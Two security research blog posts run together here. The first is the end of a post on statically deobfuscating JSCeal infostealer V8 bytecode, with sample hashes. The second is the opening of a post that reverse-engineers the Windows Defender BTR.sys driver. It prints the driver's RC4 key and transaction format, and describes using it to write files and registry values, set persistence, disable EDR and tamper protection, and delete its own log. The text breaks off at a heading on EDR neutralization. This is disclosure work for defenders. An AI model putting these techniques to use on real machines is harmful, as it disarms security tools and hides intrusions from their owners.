Static recovery can be practical without producing runnable source. View8 pseudocode is not the original JavaScript, and our pipeline does not attempt to make it executable. Nevertheless, the recovered representation is sufficient for ordinary analytical work: following logic, locating capabilities, extracting artifacts, comparing samples, and validating behavior against runtime observations.

LLM-assisted naming is useful as navigation, not as evidence. Dependency-aware renaming can make very large recovered codebases substantially easier to browse, especially after deterministic deobfuscation has already exposed meaningful strings and calls. Our evaluation also showed why the labels must remain hypotheses: different models often choose different levels of abstraction, and even strong models can produce confident but incorrect names. The function body, strings, APIs, paths, and data flow remain the evidence.

The recovered JSCeal code exposes a broad capability set. The analyzed payloads include browser and credential theft, cryptocurrency-focused collection, Telegram session theft, keyboard capture, screenshots, and a local HTTPS interception proxy capable of installing an attacker-controlled certificate. Static recovery makes it possible to examine not only behavior observed during one run, but also branches that may not execute in a particular environment.

Version sensitivity remains a tooling challenge. The move from the V8 10.2.154.26-node.25 generation to 13.6.233.10-node.28 demonstrates the cost of relying on an internal, version-specific format. A new runtime generation can require renewed work at the disassembly layer even when the malware’s higher-level structure and obfuscation remain recognizable.

The main result is therefore not perfect source reconstruction. It is a repeatable path from a compiled, obfuscated V8 payload to code that can be inspected and compared again. We released version 1.0 of the toolkit [7] as a reference implementation of that methodology and as a starting point for analysts facing similar V8-based payloads. The current end-to-end setup targets V8 10.2.154.26-node.25. We are planning to add support for V8 13.6.233.10-node.28 in future releases.

The recent JSCeal changes show that the problem is still moving. Payload names, runtime versions, encryption layers, and target platforms can change while the core analysis challenge remains the same: recover enough structure to turn an opaque compiled artifact back into evidence.

Appendix – A

Listing of the most important changes introduced in the View8 code during the development of the deobfuscation pipeline.

Serializing output

By default, View8 emits only a text representation of the decompiled output.

As part of our pipeline, we needed to apply multiple transformation passes. Working with the decompiler’s internal representation was much more convenient than parsing raw text. This is why we introduced an additional output format: a serialized object graph representing the internal decompilation state. Python’s pickle format was chosen for convenience.

The deobfuscator loads the pickled input and operates directly on the reconstructed View8 objects. Each pass can work independently, reading the serialized state produced by the previous pass.

Splitting output

Another difficulty in JSCeal analysis was the significant size of the output, which reached up to 47 MB because the payload included a large number of bundled modules. As a result, finding the code that belonged to the malware itself was quite challenging. To make the output easier to navigate, we added to the View8 decompiler the ability to split it into separate files, each representing a single tree of function dependencies.

The tree can be constructed using different relationship types: the declarer hierarchy (declarers), direct function calls (calls), or broader function references (references). For call- and reference-based trees, the analyst can also control the traversal depth and separate larger branches into individual files. This makes it possible to extract a focused subsystem around a selected root without printing the entire payload.

Normalization of the generated function identifiers

Each function name generated by the View8 decompiler contains a hexadecimal suffix derived from address values present in the V8 disassembly. These values correspond to live heap addresses used by V8 and are not stable across different runs. Because of ASLR, disassembling the same JSC file twice may therefore produce different function identifiers. The relative object layout may also differ between V8 or disassembler builds, making simple address rebasing insufficient.

For reproducible output, we added the --normalize option. It replaces the address-derived suffixes with deterministic identifiers based on the order in which functions are encountered while parsing the disassembly. A fixed virtual base is added to the parse index, preserving the familiar func_<name>_0x<value> format while making the identifiers independent of the original heap layout.

The mapping between the original and normalized function names can optionally be exported to a CSV file using --normalize-map.

Function and line metadata

We introduced a metadata field to each line and function. This lets us pass information between each layer of the deobfuscator and reduces the burden of reparsing. For example, once we parse a line and enumerate all the registers it references, this information can be stored in the line object for further use.

Similarly, metadata can be added to a function. As a result, even after deobfuscating a function we don’t lose the information about what type of obfuscation was applied to it (for example: Control Flow Flattening). We can filter the functions by the metadata tags, and display them selectively.

Hiding functions

In past releases, View8 allowed lines to be hidden by setting the visibility field in the line object. While this feature is very useful, it may not be enough when we are dealing with obfuscated code. Sometimes there is a need to hide entire functions, not only selected lines.

For example, we will encounter multiple proxy functions, of different types, that were introduced only for the purpose of complicating the code flow. Sometimes a single call is done by a rabbit-hole of proxies, that have to be understood and then removed, to make the call direct.

There are also many small functions whose only role is to implement a single arithmetic operation. During the deobfuscation process, those functions will be parsed and the calls to them will be replaced by the explicit operations. Once the functions are resolved, they can be safely hidden.

Changed representation of globals

The original View8 output displays global variables by the names with which they were declared. In the case of obfuscated code, those names are intentionally made meaningless. Sometimes they are one or two characters long. We also encountered cases in which the names of globals were identical to the names of registers used by the standard JSC code (r{number}) and therefore, understanding what they really represent required broader contextual analysis. In order to make the meaning more explicit, and the output easier to parse, we appended the global_ prefix to each global variable.

Once the globals are parsed, their explicit definition in the start function (DeclareGlobals) is hidden.

Example:

Before:

ACCU = DeclareGlobals(["oQ", "kg", "xQ",...])
[...]
oQ = Object["create"]
kg = Object["defineProperty"]
xQ = Object["getOwnPropertyDescriptor"]

After:

global_oQ = Object["create"]
global_kg = Object["defineProperty"]
global_xQ = Object["getOwnPropertyDescriptor"]

Appendix – B

The analyzed files

Note:

The tests were performed on 23 different payloads using V8 10.2.154.26. During two unattended test runs, documented in the repository [8] (directory sessions_23_samples), all filters completed without exceptions and produced output suitable for code-level analysis. The collected logs show the details of each run, along with the timing and evaluation. The appendix lists one additional, older payload beyond the 23-sample main evaluation corpus. Its deobfuscation was successful, but it uses an earlier, simpler string-obfuscation variant handled by deobf_str1.py, so it was not included in the automated pipeline evaluation.

JSC files (original, Brotli-compressed) with corresponding bundle (build.zip):

md5 (jsc)sha256 (jsc)sha256 (bundle.zip)
03f4e47b9c2283c32bb8f8f042ce6e41de213ebc44c614d0b2324787e267183dbbbbb19e1ad866435a322ee00e24e7b6c77b3b7a507162bfc03cfeb8ef18d5ee7017e8fcbd6d7e005f986a3c967b8d45
0b8015cbb1ffdc6efe6a306ff5b1115f4757f3d26bc7110e9c7f4da8050afc2ed661cd92aec9cf7d301d9b9b24e0b668b90e3aaae14e7787e5ea4a6d4beee672049bd5eb05427f2c80b64f605860d2b8
1026743185dfa10e9ddc21b5a4c578d5212d21ed1c4b5bd9b9104e04f2876842b99cd17def3591df72781891d584dca055ee2359b12fbce928532d1d4efcfbbbd63340502d0107466c803d6517b44437
201f28b5e62e52e269757930f941c774f720d6f6baebd4ef76df978f2678387385ee2d20a37423e7957c2341fe46f9cab3f76851a8e55a967029be7ffe4c15afd63656d6946a3df77206455e5ac28ea1
2fe27eb8c99626e8c02e4bfd02aca9628d389f56c5b71d194bddd5b6ce5906e7e22730034ad882606cc8ae701011bf8c67e3d7bcdf4cfd25750425ac0682e0ed98b3cb473448696fb79bf311fcdb18cd
376ec4dbc3363fa7131367e4c6327a462ef1ea37a941330a79a3056461e61992864e6e38c0f68cbb626ebf1f96e362c599b8124c2a64d26567f19a44618144b1d6a7501a5892918f0120a496f983a0f2
462195f7f8033df7371e899fe9bc51de62ba626bce09db5f8750938edced3768b401084a7d6584cd6ff9d53d2517781ddc561df51d27ed3a99cb916bf08452c901956778c26709e69705cbdf77f74816
499184635d56a9827d2059256a35e530c12ac711b4ceaa17a4e48b16fca7dabd615e4eaf35bb65fe9131ceac1687095add2bb7316be55446aebfa31d05e57e936eb9a18d5d9c20d60d87493100d05fe6
533d0b93ea03cd5bab4eec0f0ebadd03484da78b0fef35711f86876f7c1c77264b8e4295d7393369379c384c05337ec5684aabefe516539cda48c65cb08014e6eb645b4f1e668d159fe0c18cf74eb407
68ac84a8470d1f365f0bb2f37b6256d50c31453e74a3b763c7aea550b4f5f194e7656226012b243221eb93fa22da118ef6c670e65765d10a5ca0205a6ece3a3e6c7c730b0a8534c5adef4a3cbf06eb9c
6e023b9b3097a2dba311cb06a91fe2595f071a36c0a79ddce92824a49fd8e9bd048b87cabb635671073402365afc342a3d800b7dbdcb6874e29ddd2e9a1313f3d82b323e89a720c632c708098a7ca0e9
7b659fa5c93af29c4e11d8c8be43705882f8215c7e68f4a6b656b7dc6638982a6625c662ce6d6a05330eefbfde2637ac6b498ec73d32860202b6a6ff8d21f8b5216c3903e066136f9d69ef2969955a78
8fb3e6acb2024601eba0ba484091ff3d31b38e76ccaca6f38168b4fdd9cbdedd8efa7e65fe6090240e281bd3152a6feb5fe810cb5b34c8fd07c7eca301b32ef2d3b86290828d67edaad8444db811f20b
af105a6d4dc10b2bfefd75e917245523caf8bfc90e4300b8a18c3fe3a4badbe44c106830e7432d8eea227857a790ec917f3e73b2e0ebea3eaffa3685e0a162d10fde388282060d9e35b173b743676916
b2dad3f88b7f6870f83eb1ad852b7f7e1f5acba97db6d514e4b35ba0601c5269697e8ab3bb99d097db25ec7e744645948c674f58b157a7319b564bb774e7aeb35135d615511838e4a553fe7ea9e94759
d064dfaaef30c057b832c79996c35e899b5359dc99501ef2a4667d265e9b032f76dc28c97437a463965e2168d20e5c385a024ae97242be3b1b954f845f7a87a1411c47830f81a2b54f47ec2cf741e2a0
d5b4137135cf121e3ea07b1c81fe11088abffe0d13d3b93ca3469045e4cebbee25b3631e6bba13880f04b7c8acac253609f803f69bde280adbd4e584ed26a01affac9721db8c5730275d385f084b422a
e26687982d924ffebef6fbf2d9d4335095b39a0bad021f33e08df042b02d3267faee7bbc3e3080dda295c35b464dd60718347a39f174c97947649b3f1de55e8409ff805e808f2101e5953a956e9ee99f
e27ae65977287bdfb7b0e15fd3603f85b73c3d732bb6bff8b9088cc0dcbadb35eea0802056324f1b6295cb9277c627559615f60ea3cc1c65eb8fe6d77bb85fe6b455503193eab02310a873fccadd332e
e711a90b5ece5380e1acaed56827e8d51b0efeb1d988b7bc11014ccc9fdff141fc16425d659f553f6cc6946872499667acdaba94e9975e8e03fa13bae7f0f93f165f42226aeecea3af5a4e0111bdfb7e
0d1fce0cb2b9dec26a10f0822aeffb195b4edd9bffdd7909b8b432eacd463d59eb23eba151c9e218161ab15dd72d55ed2d42aa747f7ebc3280b14d30c6b71043545888946d9d6acd6abbaf4545841462
e8b5448b4f7b013e8c6191b20d3f829105db78bff1a48a674e70368b96a550a5f9f93271eb261ab63b36ee37e0e8b9f884db0663b6aa8df2ac04470288fd5528f5537fb89d78a2e01cabdce371a686e8
fd4494c555adda2eb54b88f5c9c08801058ae4136e241f116d8c5b1a1cad15b53090797154539faa35706568fbd85d9b7e1c82cdcff73ac69fee3ba71d67353a062103f1bfae4f263d03b3b84e48d782

JSC files (original, Brotli-compressed) with corresponding unpacked versions:

md5 (JSC original)md5 (unpacked)sha256 (unpacked)
(unknown)91038aebe528a065c3e995a418db6826c288e79ed9d1fb654a341b92d878a3165a09fb21dfa826f3559b46738fdbbdeb
03f4e47b9c2283c32bb8f8f042ce6e4113823095b8d31013ba41a5c98ce69b598b3ed808822479eb62d78d819db35362e4e79138ac82310d30e0c351a17992b6
0b8015cbb1ffdc6efe6a306ff5b1115f454fb012cdd0736e4ed41fabf0916f462cf2d22d1317df6c49171be61ef35c4f6c3da17785fa73e68aa95109075f79bd
1026743185dfa10e9ddc21b5a4c578d5975319142460fc43e3dc5e495d2313c994191824bb5062622663e2434d2b749a8c936eb573aaac23594dee8dda304731
201f28b5e62e52e269757930f941c77409dbfac09f9cafdbc7d225eb144f0e69742ad2dd3d2444bd3758b6e46dd76f9c43dfaae03bdffc3598ce7d8ab3cd3ac5
2fe27eb8c99626e8c02e4bfd02aca962c8db5e53572e68349c76107f03544491504345099ba4c77cbb4224101794e525f2bc9adb40904159195c17d7e345085e
376ec4dbc3363fa7131367e4c6327a46a2aa25f0d5b23a2897576e4cf9596a7c11e85a8306057945accc65395b780377c07d4ec9ae52d78185554bf1957e3caa
462195f7f8033df7371e899fe9bc51de2841170a19c028c16990cdcc6fd499bc43c57c60a8008e617b16dc6dab29372347ebe144f043200c106149c3106438ba
499184635d56a9827d2059256a35e53030f23bb28ce56584f8f098ff0035b029cfdb3bb9edea8de7c7a70275a2b8689619276f1e5f2b8805e67ceab1ee252f6d
533d0b93ea03cd5bab4eec0f0ebadd03cd7afa032d5f5be0db037edb617f438b6075cd41edb59c43c13aa3591e054cdb127b17bf34e036dae591244ea2f8868f
68ac84a8470d1f365f0bb2f37b6256d5a6f5bb2b8a3e1abe332dd40e50d78aa3c13fcb214a576401cd624dacf248480c38b8bcbb85e5d3da52cc204a61395d14
6e023b9b3097a2dba311cb06a91fe2596626b8caf2734c83a93f78d31b703584395f4c1562a1a8caeba254ccbc7d278b8194795ff5ad3824cfc0c566273835f0
7b659fa5c93af29c4e11d8c8be437058469c60508d4470bc1cc5e4a70d0e7112192342a5e4fcfc5e8ec430427e1dfa773fd324e3d7215047f36f1114ef930f4e
8fb3e6acb2024601eba0ba484091ff3de57f6ca6543616f75f7811273616fe470c72513efdae9785894b6e925590d0b59b652dda53b8cd882037a87e672a4a5a
af105a6d4dc10b2bfefd75e917245523a308fa1524c9d5b8dc55d2b296a2629b9f673e3b361f438e9986f2a7b2423d3d02dbecea0c220163566850ef6ab56626
b2dad3f88b7f6870f83eb1ad852b7f7e576e94d705bd50811dc9525a45732bc359c9038227c634f4e512afaa98f2ca998b0aaac83437c218686c51acbda7873e
d064dfaaef30c057b832c79996c35e89710cc97e64618c68ffca72ac405a48a188b1d75d330cf6be9a7f48cdfd51c48125a86f9bcb6bcb736fb8399e0617d680
d5b4137135cf121e3ea07b1c81fe1108c605371a8caf11497f1879597292e3382c29b4089845b010428f8be48e62f165e0f7f8a48e58200629c6020c7ac2cab7
e26687982d924ffebef6fbf2d9d433502477fd3e348c51bf575ede398253d0b3aec3e252c429e150c42976d6badeea31e48a0356ecbd27796df83fc6d3de16ea
e27ae65977287bdfb7b0e15fd3603f857650ec266b414d097101da12c438465957f32b3942d5543177f07e49fc84f1409a49b5df7d25549e543607c223b87695
e711a90b5ece5380e1acaed56827e8d51b7f4288b12373c8d6488fde69c8ce0dfa02e707af9a353f0e2d7a77489c11c2249a1d9dbccf74070130b31834e8d7c3
0d1fce0cb2b9dec26a10f0822aeffb19e81b35b76b4d97751c0724bc0c7f3b8336d34b6405a33fcb95e1323e2ca8c688af02b315fc1bded19fa27bd1c7ca6f1c
e8b5448b4f7b013e8c6191b20d3f8291fa0180946b9a6ad373b7a8f983e2e59722833568125bcc55000503cfe6b470925b7d095ff7592bef79fe52e0573123cc
fd4494c555adda2eb54b88f5c9c0880110c576a57fc040eddd84d631786b8dda06dce0f294c62f2a2393c812ff711bde831bf420a4df484bcf5b6241fc0f00d0

Appendix – C

Of the 24 payloads listed in Appendix B, 23 use the dominant string-obfuscation variant handled by deobf_str2.py. The older payload 91038aebe528a065c3e995a418db6826 uses the simpler variant handled by deobf_str1.py.

All identified obfuscated string chunks in these 24 payloads were successfully deobfuscated — meaning that each identified obfuscated chunk was decrypted into a valid string chunk.

Complete listings are available in the repository [8] in the files named by the pattern: {md5}.deobf.txt.strings.txt.

Related Research

[1] Sealed Chain of Deception: Actors leveraging Node.JS to Launch JSCeal

[2] Exploring Compiled V8 JavaScript Usage in Malware

[3] View8 (original): https://github.com/suleram/View8

[4] View8 fork: https://github.com/j4k0xb/View8/

[5] Brotli Algorithm: https://github.com/google/brotli

[6] JavaScript Obfuscator: https://github.com/javascript-obfuscator/javascript-obfuscator

[7] JSC_deobfuscator: https://github.com/hasherezade/jsc_deobfuscator/

[8] Material extracted from the analyzed samples: https://github.com/hasherezade/jsceal_datasets

[9] V8 string literal patch: https://github.com/hasherezade/jsc_deobfuscator/blob/main/Utils/disasm/patches/v8_string_patch.diff

[10] V8 build instructions: https://github.com/hasherezade/jsc_deobfuscator/wiki/Building-V8-Disasm

[11] Demos illustrating the deobfuscation process live

[12] Microsoft Security: threat actors misuse Node.js to deliver malware and other malicious payloads

[13] Cato CTRL Threat Research: A Deep Dive into a New JSCEAL Infostealer Campaign

The post Breaking the Seal: Static Deobfuscation of JSCeal’s Compiled V8 Bytecode appeared first on Check Point Research.

BTR Reforged: Weaponizing Defender’s Remediation Driver as a Kernel Operation Primitive

Research by: Jiří Vinopal (@vinopaljiri)

Abstract

What if a trusted security component could be repurposed into an attacker-controlled kernel primitive? What if a signed Microsoft remediation driver could be instructed to execute arbitrary file and registry operations from Ring 0without exploits, vulnerabilities, or memory corruption?

In this publication, we present the first full reverse engineering of the Windows Defender Boot-Time Removal driver (BTR.sys) and its proprietary transaction format. We dissect its encrypted configuration mechanism, integrity validation logic, and execution pipeline, and demonstrate how this legitimate remediation component can be transformed into a universal kernel operation engine. We introduce BTR_CLI, a research tool that constructs valid encrypted transactions and safely exercises the driver’s functionality to demonstrate its capabilities.

Furthermore, we demonstrate how BTR_CLI can be used as an EDR/AV bypass technique, disarming security solutions while using a trusted Windows built-in, Microsoft-signed driver, thus not relying on typical BYOVD techniques.

Our research reveals how trusted security infrastructure can unintentionally expose powerful primitives, what this means for defenders, and how similar patterns may exist in other signed remediation components. This work blends reverse engineering, kernel internals, and detection engineering into a practical case study of when defensive technology becomes offensive capability.

Introduction

This research originated during an incident response investigation involving a compromised system, where certain endpoint telemetry appeared suspicious but was ultimately traced back to legitimate Windows Defender remediation activity. During analysis, a driver (internally identified as BTR.sys) appeared on disk under System32\drivers with a randomized filename and a corresponding randomized service name (HKLM\SYSTEM\CurrentControlSet\Services\mzqnjtaq), accompanied by the following registry entries:

Value NameValue TypeData
TypeREG_DWORD1 (Kernel Driver)
StartREG_DWORD1 (System Start)
ErrorControlREG_DWORD0 (Ignore)
ImagePathREG_EXPAND_SZ\\??\C:\Windows\system32\drivers\mzqnjtaq.sys
GroupREG_SZBoot Bus Extender
ArgsREG_SZC:\Windows\system32\drivers\mzqnjtaq.sys:changelist

At first glance, several characteristics resembled attacker tradecraft:

  • A randomly named driver dropped shortly before reboot
  • Creation of a transient service entry for loading it
  • Presence of RC4 encryption routines
  • Interaction with an Alternate Data Stream (:changelist) attached to the driver file
  • Self-cleanup behavior after execution

These indicators strongly resembled malicious kernel loader behavior, particularly given prior research into exotic loading mechanisms such as loading kernel drivers directly from ADS paths – a technique often considered theoretical yet has proven practical.

The most unusual aspect was that the ADS stream contained an encrypted binary structure used as configuration input for the driver. Encountering a Microsoft-signed driver relying on an ADS-stored encrypted configuration immediately raised suspicion that it might be exploitable or abused by attackers. Our initial hypothesis was that the threat actor had leveraged this driver for post-exploitation activity. That hypothesis ultimately proved incorrect: the behavior was legitimate Defender remediation logic.

However, that discovery triggered a deeper analysis of BTR.sys and the surrounding remediation architecture. What began as a false-positive investigation quickly evolved into a full reverse-engineering effort that uncovered undocumented functionality, a custom protocol, and an unexpectedly powerful kernel execution model.

Technical Analysis: The BTR Driver

Driver Overview

  • Filename: BTR.sys
Figure 1: “BTR.sys” driver – Boot Time Removal Tool.
  • Origin: Embedded as a PE resource within MpEngine.dll. It is dropped to disk (with a randomized filename matching [a-z]{8}.sys, e.g., mzqnjtaq.sys) only when a remediation action requires a reboot (e.g., deleting a locked file).
Figure 2: “MpEngine.dll” with embedded “BTR.sys” as a PE resource.
Figure 3: “MpEngine.dll” dropping “BTR.sys” from the embedded “BOOTTIMETOOL” resource.
  • Behavior: It is a “one-shot” driver. It loads, performs a list of transactions, reports status, and immediately requests self-unloading.

The Configuration Mechanism

The driver does not expose a standard IOCTL interface. Instead, it reads a configuration blob pointed to by the Args value in its Service Registry Key.

  • Registry Path: HKLM\SYSTEM\CurrentControlSet\Services\{Random}\Args
Figure 4: “BTR.sys” initialization logic querying the “Args” service value to locate the configuration.
  • Format: A file path to an Alternate Data Stream (e.g., C:\Windows\system32\drivers\BTR.sys:changelist) containing RC4-encrypted binary data.
Figure 5: “MpEngine.dll” constructing the configuration path by explicitly appending the “:changelist” ADS.

Cryptography & Integrity

The configuration blob is protected by both encryption and integrity checks to prevent tampering.

  • Encryption: RC4 Stream Cipher.
    • Key: A hard-coded 256-byte key embedded in the .rdata section of the driver (this key appears to be consistent across various BTR.sys driver versions).
Figure 6: “BTR.sys” RC4 decryption of configuration using a hard-coded 256-byte key in “.rdata”.
  • Integrity: Modified CRC-32 (~CRC32).
    • The driver uses the standard CRC-32 polynomial (0xEDB88320) and initialization (0xFFFFFFFF). However, it deviates from the standard implementation by omitting the final bitwise inversion (Final XOR) step. Consequently, the resulting value is mathematically equivalent to the bitwise inverse of a standard CRC-32 (denoted as ~CRC32 in the tables in the next section below).
    • Independence: Integrity checks are non-cumulative. The CRC register is reset to the initial value (0xFFFFFFFF) for every individual structure (Global Header, Global Payload, Item Header, and Item Data). This design isolates the validation of each component, effectively preventing CRC chaining manipulation where modifying one structure could impact the validity of subsequent structures.
Figure 7: “BTR.sys” CalcCRC32 function → ~CRC32(Buffer, Size).

The Transaction Structure

The RC4-decrypted payload (configuration blob) is a serialized list of actions. Through reverse engineering, we have mapped the structure entirely (notably, the PDB for BTR.sys is not provided by Microsoft).

Figure 8: Transaction Structure Format → The Configuration.
Figure 8: Transaction Structure Format → The Configuration.

Global Header (24 Bytes)

The file starts with a fixed header that defines the session.

OffsetSizeFieldDescription
0x004Magic0xFEE1DEAD (Little Endian)
0x044Version0x00000002
0x084PayloadOffset0x00000010 (Relative offset from this field to the Global Payload; constant)
0x0C4GlobalCRC~CRC32 of the Header (with this field zeroed)
0x108TransIDComposite ID: Low 4 bytes = ~CRC32(Payload), High 4 bytes = Size(Payload)

The table above can be represented as the following C structure:

struct GLOBAL_HEADER {
    uint32_t Magic;         // 0xFEE1DEAD
    uint32_t Version;       // 2
    uint32_t PayloadOffset; // 0x10 (relative offset to Global Payload)
    uint32_t GlobalCRC;     // ~CRC32(Header)
    uint32_t TransID_Low;   // ~CRC32(Payload)
    uint32_t TransID_High;  // Size(Payload)
};

Global Payload (Variable)

It immediately follows the header.

  • Content: A null-terminated Unicode string.
  • Purpose: The Feedback File path (e.g., \??\C:\ProgramData\...\mzqnjtaq.dat). The driver creates this file and writes a Transaction Execution Report. This report mostly mirrors the structure of the input configuration but updates the first 4 bytes of each Item’s Data payload ([Flags]) with the NTSTATUS code resulting from that specific operation.

Item Structure (The Action)

Following the Global Payload is a list of Operation Items.

Item Header (16 Bytes):

OffsetSizeFieldDescription
0x004DataSizeSize of the Item Data (including padding)
0x044ActionIDThe operation to perform (see Section below)
0x084HeaderCRC~CRC32 of this header (calculated with this field zeroed)
0x0C4DataCRC~CRC32 of the Item Data

The table above can be represented as the following C structure:

struct ITEM_HEADER {
    uint32_t DataSize;      // Size of Item Data
    uint32_t Action;        // Action ID
    uint32_t HeaderCRC;     // ~CRC32(Header)
    uint32_t DataCRC;       // ~CRC32(Data)
};

Item Data (Variable):

The structure of the data depends on the Action ID. For complex actions (3-6), it starts with a Flags field; for simple actions (1-2), it starts immediately with the path. It generally follows:

[Flags (Optional 4 bytes)] [String 1] [String 2] ... [Padding]

  • Padding (Reserved Space): The driver requires exactly 4 null bytes appended to the end of the Item Data.
    • Technical Note: This is not for alignment. For simple actions (like File Deletion) which lack a leading 4-byte [Flags] field, the driver utilizes this reserved space to generate the feedback report. It shifts the string data by 4 bytes into this padding area to create room at the beginning of the buffer for the NTSTATUS code, avoiding memory reallocation.

Weaponized Primitives (Action IDs)

We have identified and implemented the following Action IDs in the BTR_CLI tool:

📂 File Operations

  • Action 1: Delete File
    • Structure: [Path]
    • Effect: Kernel-level deletion. Bypasses exclusive file locks.
  • Action 2: Delete Directory
    • Structure: [Path]
    • Effect: Removes an empty directory.
  • Action 3: Move / Quarantine
    • Structure: [Flags] [Source Path] [Dest Path]
    • Effect: Moves a file.
    • Weaponization: If Dest Path is empty, this acts as a Delete operation. If Dest Path is valid, this allows Arbitrary File Write/Move (e.g., dropping a malicious DLL into System32).

🔑 Registry Operations

  • Action 4: Delete Key
    • Structure: [Flags] [Key Path]
    • Effect: Deletes a registry key and its subkeys.
  • Action 5: Delete Value
    • Structure: [Flags] [Key Path + "\\" + Value Name]
    • Critical Finding: The driver parses the string by searching for a double backslash (\\) to split the Key from the Value. Standard paths fail; specific formatting is required.
Figure 9: “BTR.sys” Action 5 – double backslash “\\” parser.
  • Action 6: Set Value
    • Structure: [Flags] [Type] [Size] [Key Path + "\\" + Value Name] [Data]
    • Effect: Arbitrary Registry Write + Registry Creation.
    • Weaponization: Can be used to establish persistence (Run keys, Services) or disable security controls (Tamper Protection, EDR configs). Creates not only a value but possibly the registry key path itself.

Operational Findings & Anti-Forensics

The “Success” Error Code

A unique trait of BTR.sys is its return value upon successful execution. It returns 0xC0000056 (STATUS_DELETE_PENDING) instead of STATUS_SUCCESS.

Figure 10: “BTR.sys” successful execution → STATUS_DELETE_PENDING.
Figure 10: “BTR.sys” successful execution → STATUS_DELETE_PENDING.
  • Reason: This signals the Windows Kernel to immediately unload the driver and mark the driver object for deletion, ensuring it does not persist in memory.

Anti-Forensics (Log Cleaning)

The driver creates a text log at \SystemRoot\Temp\BootClean.log.

Figure 11: “BTR.sys” DriverEntry - “BootClean.log” file creation.
Figure 11: “BTR.sys” DriverEntry – “BootClean.log” file creation.
  • Technique: The BTR_CLI tool automatically injects an Action 1 item at the start of the transaction list targeting BootClean.log.
  • Result: The driver creates the log, performs the user’s action, and then deletes its own log file before unloading. This leaves minimal forensic traces.

BTR.sys Driver Versions

To obtain a comprehensive overview of different BTR.sys driver versions, we searched public repositories such as VirusTotal and Winbindex (by locating MpEngine.dll, which embeds the BTR.sys driver). Using Winbindex, we identified exactly 12 different versions of 64-bit MpEngine.dll across all available Windows 10 and Windows 11 releases.

Figure 12: Winbindex search - “MpEngine.dll”.
Figure 12: Winbindex search – “MpEngine.dll”.

Extracting the embedded BTR.sys from these 12 MpEngine.dll versions resulted in 5 unique driver builds (based on distinct SHA-256 hashes).

Figure 13: Unique “BTR.sys” drivers extracted from “MpEngine” dlls (Winbindex).
Figure 13: Unique “BTR.sys” drivers extracted from “MpEngine” dlls (Winbindex).

Combining these 5 builds with distinct BTR.sys samples (unique SHA-256 hashes) identified on VirusTotal at the time of analysis, and after de-duplication against the Winbindex dataset, we obtained a total of 18 unique 64-bit Microsoft-signed versions (distinct Authentihashes) of the BTR.sys driver. Analysis confirmed that all versions share the same hard-coded 256-byte RC4 key used to decrypt the transaction structure (configuration blob).

1E 87 78 1B 8D BB A8 44 CE 69 70 2C 0C 78 B7 86 
A3 F6 23 B7 38 F4 ED F9 AF 83 53 0F B3 FC 54 FA 
A2 1E B9 CF 13 32 FD 0F 0D A9 54 F6 87 CB 9E 18 
27 96 97 90 0E 54 FB 31 7C 9C BC E4 8E 23 D0 53 
71 EC C1 59 51 B7 F3 64 9D 7C A3 3E D6 8D C9 04 
7E 82 C9 BA AD 96 99 D0 D4 58 CB 84 7C A9 FF BE 
3C 8A 77 52 33 55 7D DE 13 A8 B1 40 87 CC 1B C8 
F1 0F 6E CD D0 83 A9 59 CF F8 4A 9D 1D 50 75 5E 
3E 19 18 18 AF 23 E2 29 35 58 76 6D 2C 07 E2 57 
12 B2 CA 0B 53 5E D8 F6 C5 6C E7 3D 24 BD D0 29 
17 71 86 1A 54 B4 C2 85 A9 A3 DB 7A CA 6D 22 4A 
EA CD 62 1D B9 FB A2 2E D1 E9 E1 1D 75 BE D7 DC 
0E CB 0A 8E 68 C2 FF 12 63 40 8D C8 08 DF FD 16 
4B 11 67 74 CD 6B 9B 8D 05 41 1E D6 26 2E 42 9B 
A4 95 67 6B 83 98 DB 2F 35 D3 C1 B9 CE D5 26 36 
F2 76 5E 1A 95 CB 7C A4 C3 DD AB DD BF F3 82 53

Furthermore, the transaction structure format is consistent across all analyzed versions and supports all identified Action IDs. This consistency makes the BTR_CLI tool (provided in the next section) a universal, reliable, and reusable component across all tested Windows OS builds → from Windows 7 Build 7601, through Windows 8.1 and Windows 10 22H2, up to the latest Windows 11 25H2 at the time of writing (July 2026).

The Tool: BTR_CLI

The BTR_CLI tool serves as a fully functional Proof-of-Concept (PoC) demonstrating the offensive utility of the Microsoft Boot Time Removal driver (BTR.sys). The source code implements a complete exploitation chain that mimics the native behavior of MpEngine.dll while extending its capabilities for research and red-teaming purposes.

Figure 14: The “BTR_CLI” tool - 6 stage pipeline.
Figure 14: The “BTR_CLI” tool – 6 stage pipeline.

The tool performs the following sequence of operations:

  1. Driver Extraction: It automatically locates and extracts the legitimate BTR.sys driver from the local MpEngine.dll resource section. If the DLL is unavailable (cannot be found) or the hard-coded RC4 key inside the DLL has changed, it falls back to an embedded driver version (the latest one confirmed to be supported).
  2. Stealth Configuration (ADS): Instead of creating visible configuration files, the tool utilizes Alternate Data Streams (ADS). It generates a randomized filename for the driver (e.g., Random.sys) and writes the encrypted transaction payload directly into Random.sys:changelist. The feedback path is similarly set to Random.sys:Random.dat.
  3. Payload Construction: It constructs a custom RC4-encrypted payload containing the specific remediation instructions (the config). This includes calculating the correct CRC32 checksums and padding required by the driver to accept the configuration.
  4. Action Chaining: The tool supports chaining multiple operations into a single execution transaction. By default, it injects an anti-forensics action to delete its own log file (BootClean.log), followed by any user-defined actions (e.g., file deletion, registry modification, etc.).
  5. Service Creation & Triggering:
    • Runtime Execution (trigger now): Creates a service with a randomized name and loads the driver immediately via NtLoadDriver.
    • Boot Execution (trigger boot): Configures the service with Start=1 (System) and Group Boot Bus Extender to execute during the early boot phase, bypassing active EDR/AV protections.
  6. Cleanup: It automatically unloads the driver and removes all artifacts (Service Registry Key, Driver File, and ADS streams) after execution.

Usage:

Figure 15: The “BTR_CLI” tool - usage.
Figure 15: The “BTR_CLI” tool – usage.

Source Code:

The source code of BTR_CLI, with its ready-to-run executables (both x64 and x86, each self-contained with the embedded BTR.sys fallback), is available here, MIT licensed.

The BTR_CLI tool underwent robust testing across a comprehensive range of Windows operating systems, spanning from Windows 7 Build 7601 (released in 2011), through Windows 8.1 and Windows 10 22H2, up to the latest fully updated Windows 11 25H2 (as of July 2026). Testing confirmed the tool’s ability to successfully execute all supported BTR.sys capabilities (Action IDs) across every version. Notably, while the tool includes an embedded fallback driver, this redundancy was never required during testing; the target-specific BTR.sys was successfully extracted from the local MpEngine.dll in every instance. This capability allows the tool to operate without introducing external binaries, effectively avoiding BYOVD-like scenarios. These findings highlight a remarkable consistency in the internal BTR.sys codebase – retaining the same hard-coded RC4 key and configuration structure for over 15 years.

The “Golden Window” of Opportunity: Exploiting the BTR.sys Driver for EDR/AV Neutralization

